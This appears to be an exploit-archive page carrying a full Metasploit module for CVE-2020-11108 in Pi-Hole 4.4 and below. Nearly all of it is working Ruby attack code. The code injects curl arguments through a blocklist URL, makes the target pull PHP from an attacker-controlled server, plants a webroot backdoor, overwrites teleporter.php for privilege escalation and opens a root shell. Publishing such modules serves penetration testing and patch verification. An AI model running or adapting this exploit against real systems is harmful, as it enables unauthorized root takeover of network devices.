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Pi-Hole heisenbergCompensator Blocklist OS Command Execution

Pi-Hole heisenbergCompensator Blocklist OS Command Execution
Posted May 18, 2020
Authored by h00die, Nick Frichette | Site metasploit.com

This Metasploit module exploits a command execution in Pi-Hole versions 4.4 and below. A new blocklist is added, and then an update is forced (gravity) to pull in the blocklist content. PHP content is then written to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter, effectively running a privilege escalation. Phase 2 writes our payload to teleporter.php, overwriting the content. Lastly, the phase 1 PHP file is called in the web root, which launches our payload in teleporter.php with root privileges.

tags | exploit, web, root, php
advisories | CVE-2020-11108
MD5 | 45a7854959d2d37b594d4f7a3b3c052e

Pi-Hole heisenbergCompensator Blocklist OS Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution',
'Description' => %q{
This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an
update is forced (gravity) to pull in the blocklist content. PHP content is then written
to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter,
effectively running a priv esc. Phase 2 writes our payload to teleporter.php, overwriting,
the content. Lastly, the phase 1 PHP file is called in the web root, which launches
our payload in teleporter.php with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Nick Frichette' # original PoC, discovery
],
'References' =>
[
['EDB', '48443'],
['EDB', '48442'],
['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'],
['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'],
['CVE', '2020-11108']
],
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'May 10 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
# set the default port, and a URI that a user can set if the app isn't installed to the root
register_options(
[
Opt::RPORT(80),
OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]),
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
]
)
end

def setup
super
@stage = 0
end

def on_request_uri(cli, request)
if request.method == 'GET'
vprint_status('Received GET request. Responding')
send_response(cli, rand_text_alphanumeric(5..10))
return
end

case @stage
when 0
vprint_status('(1/2) Sending priv esc trigger')
send_response(cli, %q{<?php shell_exec("sudo pihole -a -t") ?>})
@stage += 1
when 1
vprint_status('(2/2) Sending root payload')
send_response(cli, payload.encoded)
@stage = 0
else
send_response(cli, rand_text_alphanumeric(5..10))
vprint_status("Server received default request for #{request.uri}")
end
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

# <b>Pi-hole Version <\/b> v4.3.2 <b>
# <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>
%r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d\.]+).*<b>} =~ res.body

if version && Gem::Version.new(version) <= Gem::Version.new('4.4')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
else
vprint_bad("Version Detected: #{version}")
return CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
CheckCode::Safe
end

def add_blocklist(file, token, cookie)
# according to the writeup, if you have a port, the colon gets messed up in the encoding.
# also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
# messed with.
data = {
'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "),
'field' => 'adlists',
'token' => token,
'submit' => 'saveupdate'
}

send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'method' => 'POST',
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
},
'data' => data.to_query
)
end

def update_gravity(cookie)
vprint_status('Forcing gravity pull')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'),
'cookie' => cookie
)
end

def execute_shell(backdoor_name, cookie)
vprint_status('Popping root shell')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name),
'cookie' => cookie
)
end

def login(cookie)
vprint_status('Login required, attempting login.')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
},
'vars_post' => {
'pw' => datastore['PASSWORD']
},
'method' => 'POST'
)
end

def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end

if datastore['SRVPORT'] != 80
fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
end

if datastore['SRVHOST'] == '0.0.0.0'
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
end

start_service({ 'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
} })

begin
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
)
cookie = res.get_cookies
print_status("Using cookie: #{cookie}")

# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
}
)

# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(cookie)
end

if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
end

# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body

unless token
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")

# plant backdoor
backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
register_file_for_cleanup backdoor_name
print_status('Adding backdoor reference')
add_blocklist(backdoor_name, token, cookie)

# update gravity
update_gravity(cookie)
if @stage == 0
print_status('Sending 2nd gravity update request.')
update_gravity(cookie)
end

# plant root upgrade
print_status('Adding root reference')
add_blocklist('teleporter.php', token, cookie)

# update gravity
update_gravity(cookie)
if @stage == 1
print_status('Sending 2nd gravity update request.')
update_gravity(cookie)
end

# pop shell
execute_shell(backdoor_name, cookie)
print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

end
end
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